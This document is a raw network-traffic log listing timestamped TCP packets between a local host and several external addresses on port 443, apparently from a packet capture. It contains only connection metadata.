Oct 11, 2024 15:53:49.560671091 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.560693979 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.561059952 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.561116934 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622303963 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.622353077 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.622360945 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622375011 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.622397900 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622415066 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622421026 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.622462034 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.622500896 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622575998 CEST	49719	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.622587919 CEST	443	49719	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.625941038 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.626034975 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.626126051 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.626475096 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.626512051 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.627038002 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.627194881 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.627263069 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.627743959 CEST	49720	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.627787113 CEST	443	49720	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.630001068 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.630023956 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.630098104 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.630275965 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.630304098 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.646420956 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:49.687397003 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:49.753005028 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:49.753097057 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:49.753154993 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:49.753782034 CEST	49709	443	192.168.2.17	104.21.68.104
Oct 11, 2024 15:53:49.753804922 CEST	443	49709	104.21.68.104	192.168.2.17
Oct 11, 2024 15:53:49.763603926 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:49.763638020 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:49.763710976 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:49.763937950 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:49.763952017 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:49.775872946 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.775919914 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:49.775998116 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.776182890 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:49.776196003 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.095005989 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.095432997 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.095496893 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.095978022 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.096302986 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.096391916 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.096437931 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.105833054 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.106036901 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.106059074 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.106431961 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.106729031 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.106806040 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.106816053 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.143405914 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.147301912 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.147301912 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.147351980 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227169037 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227246046 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227298021 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227350950 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227376938 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.227427006 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227442980 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227448940 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.227492094 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.227539062 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227622986 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227880001 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227920055 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227930069 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.227947950 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.227982044 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.232208967 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.232848883 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.232917070 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.232929945 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.232938051 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.232985973 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.233607054 CEST	49721	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.233642101 CEST	443	49721	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.239434958 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.243041039 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.243057966 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.243412018 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.245172977 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.245234966 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.245326042 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.245382071 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.245393991 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.262042999 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.262985945 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.263004065 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.264502048 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.264583111 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.265578032 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.265657902 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.265738010 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.265746117 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.273243904 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.305258036 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.317286015 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.317791939 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.317857981 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.317879915 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.317909002 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.317966938 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318010092 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318031073 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.318053961 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318079948 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.318124056 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318161964 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318200111 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318229914 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.318250895 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318279982 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.318305016 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.318824053 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.318837881 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.319845915 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.319891930 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.319957972 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.319972992 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.320030928 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.320148945 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.320460081 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.322369099 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.322427988 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.322463989 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.322474003 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.322488070 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.322515965 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.322539091 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.322551966 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.369246006 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.369266033 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.417258978 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.567711115 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.567809105 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.567821980 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.567848921 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.567869902 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.567909956 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.567934990 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.567998886 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568007946 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568006992 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.568015099 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568042040 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568058014 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568058968 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568094015 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568114042 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568139076 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568150043 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568166018 CEST	49723	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.568167925 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568188906 CEST	443	49723	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.568203926 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568217039 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568226099 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568239927 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568240881 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568257093 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568262100 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568274021 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568284988 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568294048 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568295956 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568306923 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568320990 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568331003 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568356991 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568361998 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568368912 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568403006 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568408012 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568416119 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568418980 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568434954 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568444967 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568449974 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568470955 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568497896 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568514109 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568526030 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568555117 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568558931 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568610907 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568614960 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568629026 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568660975 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568661928 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568665981 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.568698883 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.568706036 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568711042 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568723917 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568759918 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.568770885 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568799973 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568818092 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568840027 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568844080 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568876028 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.568895102 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.568922997 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.569149017 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.569221973 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.569233894 CEST	49727	443	192.168.2.17	35.190.80.1
Oct 11, 2024 15:53:50.569248915 CEST	443	49727	35.190.80.1	192.168.2.17
Oct 11, 2024 15:53:50.569328070 CEST	49722	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.569361925 CEST	443	49722	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.574953079 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.574979067 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575009108 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.575011969 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575021982 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575063944 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.575073004 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575118065 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.575618029 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575655937 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575700045 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575738907 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.575746059 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.575851917 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.576603889 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.576663971 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.576699972 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.576725960 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.576734066 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.576740026 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.576752901 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.577080011 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577114105 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577137947 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.577143908 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577367067 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.577372074 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577936888 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577989101 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.577990055 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.577997923 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.578047037 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.578052044 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.579735994 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.579785109 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.579790115 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586544037 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586580038 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586613894 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.586620092 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586714029 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586755991 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586770058 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.586776972 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.586810112 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.587158918 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587224007 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587234974 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.587240934 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587275028 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.587285042 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.587289095 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587306023 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587332964 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587352991 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.587358952 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.587380886 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.588104010 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.588169098 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.588176012 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.588280916 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.591638088 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.591692924 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.591792107 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.591839075 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.592051983 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.592099905 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.592307091 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.592370987 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.592602968 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.592638016 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.592664003 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.592669964 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.592683077 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.592698097 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.640085936 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.640156984 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.674992085 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.675067902 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.675082922 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.675128937 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.675255060 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.675303936 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.675369978 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.675417900 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676249027 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676316977 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676343918 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676386118 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676389933 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676398039 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676425934 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676445007 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676450968 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676460981 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676475048 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676520109 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676525116 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676632881 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676657915 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676662922 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676672935 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676685095 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676711082 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676711082 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676719904 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676757097 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676763058 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676794052 CEST	443	49724	104.18.94.41	192.168.2.17
Oct 11, 2024 15:53:50.676805973 CEST	49724	443	192.168.2.17	104.18.94.41
Oct 11, 2024 15:53:50.676831961 CEST	49724	443	192.168.2.17	104.18.94.41
